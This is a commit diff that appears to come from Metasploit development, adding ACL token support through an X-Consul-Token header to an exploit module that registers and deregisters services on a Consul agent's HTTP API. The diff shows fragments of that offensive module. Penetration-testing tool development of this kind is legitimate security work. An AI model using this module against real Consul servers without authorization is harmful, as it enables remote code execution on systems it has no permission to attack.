Add support for authorization with X-Consul-Token ACL header.

GSoC/Meterpreter_Web_Console
Quentin Kaiser 2018-12-18 16:56:03 +01:00
parent 1839144978
commit a3d020a7e2
1 changed files with 10 additions and 0 deletions

View File

@ -39,6 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote
[ [
OptString.new('TARGETURI', [true, 'The base path', '/']), OptString.new('TARGETURI', [true, 'The base path', '/']),
OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]), OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),
OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),
Opt::RPORT(8500) Opt::RPORT(8500)
]) ])
end end
@ -49,6 +50,9 @@ class MetasploitModule < Msf::Exploit::Remote
res = send_request_cgi({ res = send_request_cgi({
'method' => 'GET', 'method' => 'GET',
'uri' => normalize_uri(uri, "/v1/agent/self"), 'uri' => normalize_uri(uri, "/v1/agent/self"),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
}
}) })
unless res unless res
vprint_error 'Connection failed' vprint_error 'Connection failed'
@ -78,6 +82,9 @@ class MetasploitModule < Msf::Exploit::Remote
res = send_request_cgi({ res = send_request_cgi({
'method' => 'PUT', 'method' => 'PUT',
'uri' => normalize_uri(uri, 'v1/agent/service/register'), 'uri' => normalize_uri(uri, 'v1/agent/service/register'),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
},
'ctype' => 'application/json', 'ctype' => 'application/json',
'data' => { 'data' => {
:ID => "#{service_name}", :ID => "#{service_name}",
@ -107,6 +114,9 @@ class MetasploitModule < Msf::Exploit::Remote
uri, uri,
"v1/agent/service/deregister/#{service_name}" "v1/agent/service/deregister/#{service_name}"
), ),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
}
}) })
if res and not res.code == 200 if res and not res.code == 200
fail_with(Failure::Unknown, fail_with(Failure::Unknown,